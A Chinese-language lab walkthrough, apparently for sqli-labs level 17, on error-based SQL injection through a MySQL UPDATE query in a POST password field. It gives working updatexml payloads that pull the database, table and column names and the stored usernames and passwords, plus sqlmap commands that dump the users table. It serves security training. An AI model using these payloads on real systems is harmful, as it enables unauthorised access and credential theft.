POST Update语句注入
1.MySQL update介绍
update
语句可以用来修改表中的数据,简单来说基本的使用形式为:
update 表名 set 列名称=新值 where 更新条件;
UPDATE table_name SET field1 = new-value1,field2=new-value2[WHERE Clause]
我们在MySQL命令行中展示,我们以id=8
,username=admin
,password=admin
为例
执行更新语句
update users set password='admin888' where username='admin';
可以看到用户名为admin
的密码,成功更新为admin888
2.过滤内容介绍
以sqli-labs17
关为例,源代码如下所示
判断是否有单引号存在
3.MySQL update注入
分析源代码可以发现,仅仅是对username
进行了过滤
在下面,我们又可以发现一条更新的语句
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
可以闭合前面的单引号,后面执行我们的SQL语句.
1.进行抓包
当我们使用反斜杠,可以看出password
是单引号闭合
uname=admin&passwd=admin\&submit=Submit
2.闭合单引号,爆破数据库
1'and (updatexml(1,concat(0x7e,database(),0x7e),1)) #
3.获取数据表信息
admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1))#
4.获取字段
爆破第一个字段
admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1))#
爆破第二个字段
admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1))#
爆破第三个字段
admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1))#
5.爆破字段内容
dmin' and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1),0x7e),1))#
You can't specify target table 'users' for update in FROM clause
解决报错的方法,不能使用先select表中的某些值,在update这个表(在同一语句中)。
解决方法:将select出的结果作为派生再select一遍,这样就规避了错误。
admin' or updatexml(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e),1)#
admin' or updatexml(1,concat(0x7e,(select * from (select password from users limit 0,1) a),0x7e),1)#
4.sqlmap安全测试
1.获取数据库信息
python2 sqlmap.py -r "1.txt" --dbs
2.获取表名
python2 sqlmap.py -r "1.txt" -D security --tables
3.获取字段名及内容
python2 sqlmap.py -r "1.txt" -D security -T users --dump